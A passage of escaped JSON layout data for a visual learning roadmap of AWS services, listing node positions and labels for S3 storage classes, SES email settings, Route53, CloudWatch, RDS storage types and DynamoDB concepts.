1807.150459128501\n      }\n    },\n    {\n      \"id\": \"PN3xAYfQ-_QgZCRCnsEca\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 354.0186476554692,\n        \"y\": 1507.8060080163193\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"S3\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"741vsAPTXJLVUlazFg0q4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 65,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 354.0186476554692,\n        \"y\": 1507.8060080163193\n      }\n    },\n    {\n      \"id\": \"rTgjDj5HqbjRpcJ7PR-EC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 306.5186476554692,\n        \"y\": 1595.150459128501\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Buckets / Objects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 306.5186476554692,\n        \"y\": 1595.150459128501\n      }\n    },\n    {\n      \"id\": \"8i6zpjkMC_Pg-tDNmrx4n\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 306.5186476554692,\n        \"y\": 1648.150459128501\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Bucket / Object Lifecycle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 306.5186476554692,\n        \"y\": 1648.150459128501\n      }\n    },\n    {\n      \"id\": \"PJaAqax4fABnkObY5UwNp\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 306.5186476554692,\n        \"y\": 1701.150459128501\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Storage Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 306.5186476554692,\n        \"y\": 1701.150459128501\n      }\n    },\n    {\n      \"id\": \"Ll5FPCtkpYq_niJd7WoTC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 320.16835944985576,\n        \"y\": 1761.8786804181643\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Standard\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 320.16835944985576,\n        \"y\": 1761.8786804181643\n      }\n    },\n    {\n      \"id\": \"JlkLNQ8wRzGkjaootNKOD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 320.16835944985576,\n        \"y\": 1815.8205494274896\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"S3-IA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IikKYP58sT2H1lM8glm-g\"\n      },\n      \"zIndex\": 999,\n      \"width\": 87,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 320.16835944985576,\n        \"y\": 1815.8205494274896\n      }\n    },\n    {\n      \"id\": \"IikKYP58sT2H1lM8glm-g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 430.5186476554692,\n        \"y\": 1815.8205494274896\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Glacier\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 99,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 430.5186476554692,\n        \"y\": 1815.8205494274896\n      }\n    },\n    {\n      \"id\": \"-bwXo6xvF1yzyWEm5oZhJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1507.8060080163193\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"SES\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"741vsAPTXJLVUlazFg0q4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1507.8060080163193\n      }\n    },\n    {\n      \"id\": \"kG7tlZjv_hJbHGooBkxS0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1096.6175288274053\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Sandbox / Sending Limits\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0NWTFssjg9SbDXQRkN5kF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 257,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 257\n      },\n      \"measured\": {\n        \"width\": 257,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1096.6175288274053\n      }\n    },\n    {\n      \"id\": \"bTCVHXPG-LtaaFmgiB2SL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1149.6175288274053\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Identity Verification\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0NWTFssjg9SbDXQRkN5kF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 257,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 257\n      },\n      \"measured\": {\n        \"width\": 257,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1149.6175288274053\n      }\n    },\n    {\n      \"id\": \"zwVd1vNm1ks6MdHZoi-5W\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1202.6175288274053\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"DKIM Setup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0NWTFssjg9SbDXQRkN5kF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 257,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 257\n      },\n      \"measured\": {\n        \"width\": 257,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1202.6175288274053\n      }\n    },\n    {\n      \"id\": \"0NWTFssjg9SbDXQRkN5kF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1255.6175288274053\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Feedback Handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 257,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 257\n      },\n      \"measured\": {\n        \"width\": 257,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1255.6175288274053\n      }\n    },\n    {\n      \"id\": \"4svXYQYmqjUZU39z8OyhD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1308.6175288274053\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Configuration Sets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 257,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 257\n      },\n      \"measured\": {\n        \"width\": 257,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1308.6175288274053\n      }\n    },\n    {\n      \"id\": \"Vo_PBfB7LxYL27nBBVoVp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1361.6175288274053\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Sender Reputation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 257,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 257\n      },\n      \"measured\": {\n        \"width\": 257,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1361.6175288274053\n      }\n    },\n    {\n      \"id\": \"pnX1dfkjS8woWc4KGXlh_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1414.6175288274053\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Dedicated IP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 257,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 257\n      },\n      \"measured\": {\n        \"width\": 257,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1414.6175288274053\n      }\n    },\n    {\n      \"id\": \"f89qL7Cg9R_LTxBEG4jUK\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1645.6417313154334\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Route53\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"741vsAPTXJLVUlazFg0q4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1645.6417313154334\n      }\n    },\n    {\n      \"id\": \"z-o-2cGYSM6KW_CNJyw3p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 59.613820823766076,\n        \"y\": 1592.6417313154334\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Hosted Zones\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 174\n      },\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 59.613820823766076,\n        \"y\": 1592.6417313154334\n      }\n    },\n    {\n      \"id\": \"IQhPG1La7dZeSXnX23D1n\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 59.613820823766076,\n        \"y\": 1645.6417313154334\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Routing Policies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 174\n      },\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 59.613820823766076,\n        \"y\": 1645.6417313154334\n      }\n    },\n    {\n      \"id\": \"LXG_znJ3XzPAlDxUH2-Xp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 59.613820823766076,\n        \"y\": 1698.6417313154334\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Health Checks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 174\n      },\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 59.613820823766076,\n        \"y\": 1698.6417313154334\n      }\n    },\n    {\n      \"id\": \"VAYxwJH10PFjGS8poKd9-\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1835.4571899134405\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cloudwatch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"741vsAPTXJLVUlazFg0q4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.93031923911371,\n        \"y\": 1835.4571899134405\n      }\n    },\n    {\n      \"id\": \"2vQPmVNk1QpMM-15RKG8b\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 59.613820823766076,\n        \"y\": 1782.4571899134405\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Metrics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oC6KIjWAXw0hLl4FwkB9F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 174\n      },\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 59.613820823766076,\n        \"y\": 1782.4571899134405\n      }\n    },\n    {\n      \"id\": \"tHQ6NRVDPCPEOmzgjQDLX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 59.613820823766076,\n        \"y\": 1835.4571899134405\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Events\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oC6KIjWAXw0hLl4FwkB9F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 174\n      },\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 59.613820823766076,\n        \"y\": 1835.4571899134405\n      }\n    },\n    {\n      \"id\": \"oC6KIjWAXw0hLl4FwkB9F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 59.613820823766076,\n        \"y\": 1888.4571899134405\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Logs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 174\n      },\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 59.613820823766076,\n        \"y\": 1888.4571899134405\n      }\n    },\n    {\n      \"id\": \"fkMF-2PQZ00UdwxhQt1ds\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -188.93031923911371,\n        \"y\": 2003.150459128501\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"RDS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"741vsAPTXJLVUlazFg0q4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 79,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.93031923911371,\n        \"y\": 2003.150459128501\n      }\n    },\n    {\n      \"id\": \"l9oq3LiEd8ZrPtupPk-Fn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.93031923911371,\n        \"y\": 2098.504462165696\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"DB Instances\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tBKc7tHOiJaTmwEl3q--Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 148,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.93031923911371,\n        \"y\": 2098.504462165696\n      }\n    },\n    {\n      \"id\": \"Xs057ESpvxXg2r_rDQnOa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.93031923911371,\n        \"y\": 2152.504462165696\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Storage Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tBKc7tHOiJaTmwEl3q--Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.93031923911371,\n        \"y\": 2152.504462165696\n      }\n    },\n    {\n      \"id\": \"tBKc7tHOiJaTmwEl3q--Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.93031923911371,\n        \"y\": 2206.504462165696\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Backup / Restore\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 180,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.93031923911371,\n        \"y\": 2206.504462165696\n      }\n    },\n    {\n      \"id\": \"uo5HIyePegnJooortvWLu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 64.39816984499672,\n        \"y\": 2098.1759730815857\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"General Purpose\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"y0CoNcEFHyz350f7pNddt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 189\n      },\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 64.39816984499672,\n        \"y\": 2098.1759730815857\n      }\n    },\n    {\n      \"id\": \"3l1ji4JToj277vpgONmLw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 64.39816984499672,\n        \"y\": 2151.1759730815857\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Provisioned IOPS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"y0CoNcEFHyz350f7pNddt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 189\n      },\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 64.39816984499672,\n        \"y\": 2151.1759730815857\n      }\n    },\n    {\n      \"id\": \"y0CoNcEFHyz350f7pNddt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 64.39816984499672,\n        \"y\": 2204.1759730815857\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Magnetic\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 189\n      },\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 64.39816984499672,\n        \"y\": 2204.1759730815857\n      }\n    },\n    {\n      \"id\": \"wGb0TEDnSe_bmv9Krx4qB\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 322.66835944985576,\n        \"y\": 2003.150459128501\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"DynamoDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zFgnu2fL0EUKIMz9tVH1j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 322.66835944985576,\n        \"y\": 2003.150459128501\n      }\n    },\n    {\n      \"id\": \"DN_iuLo9gYDqU8JleE1WJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 577.6102695476429,\n        \"y\": 1894.8292772405568\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tables / Items / Attributes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0C3GCGdSXozJK2MNeWerg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 308\n      },\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 577.6102695476429,\n        \"y\": 1894.8292772405568\n      }\n    },\n    {\n      \"id\": \"oWtWgaFznTPJhQIyfIIQf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 577.6102695476429,\n        \"y\": 1947.8292772405568\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Primary Keys / Secondary Indexes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 308\n      },\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 577.6102695476429,\n        \"y\": 1947.8292772405568\n      }\n    },\n    {\n      \"id\": \"aU1lv80xXNkQTD41Qfln5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 577.6102695476429,\n        \"y\": 2001.6040196516922\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Modeling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NWvasq-AcwxmOKZPDv3ue\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 308\n      },\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 577.6102695476429,\n        \"y\": 2001.6040196516922\n      }\n    },\n    {\n      \"id\": \"0C3GCGdSXozJK2MNeWerg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 743.1117309868763,\n        \"y\": 2001.6040196516922\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Streams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": 